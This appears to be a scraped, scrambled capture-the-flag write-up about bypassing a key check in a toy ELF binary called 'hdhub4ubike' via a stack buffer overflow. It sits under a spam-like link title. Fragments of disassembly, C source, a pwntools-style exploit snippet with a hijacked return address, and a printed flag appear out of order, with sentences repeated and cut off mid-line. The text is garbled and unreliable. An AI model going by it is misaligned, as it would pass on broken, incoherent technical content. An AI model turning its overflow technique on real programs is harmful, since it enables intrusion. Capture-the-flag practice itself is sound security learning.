Hdhub4ubike 'link' | 2025-2027 |

0x0040119f: lea rdi, [rip+0x2000] ; address of the flag string 0x004011a6: call puts@plt 0x004011a6 is the (the call instruction itself). If we return to this address after the overflow, the program will execute the puts call with the correct argument already loaded (the lea instruction that loads the flag pointer into rdi is right before it).

/* ---------------------------------------------------- */ int check_key(const char *key) // key must be exactly 0x30 bytes long if (strlen(key) != 0x30) return 0; hdhub4ubike

p.sendline(payload.decode('latin-1')) # send as a line p.interact() # hand over the terminal 0x0040119f: lea rdi, [rip+0x2000] ; address of the

$ ./exploit.py === Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 flagh0p3_y0u_f0und_th3_h1d3_b1k3 Congratulations – you’ve successfully bypassed the hub‑key check and recovered the flag from hdhub4ubike ! 🎉 🎉 The goal is to obtain the flag

The goal is to obtain the flag without knowing the correct key. 2.1 File information $ file hdhub4ubike hdhub4ubike: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped, for GNU/Linux 3.2.0, BuildID[sha1]=...

BIN = "./hdhub4ubike" TARGET_ADDR = 0x004011a6 # address of the "puts" call that prints the flag

int main(void) char buf[64]; puts("=== Welcome to the HD Bike Hub ==="); printf("Enter your hub key: ");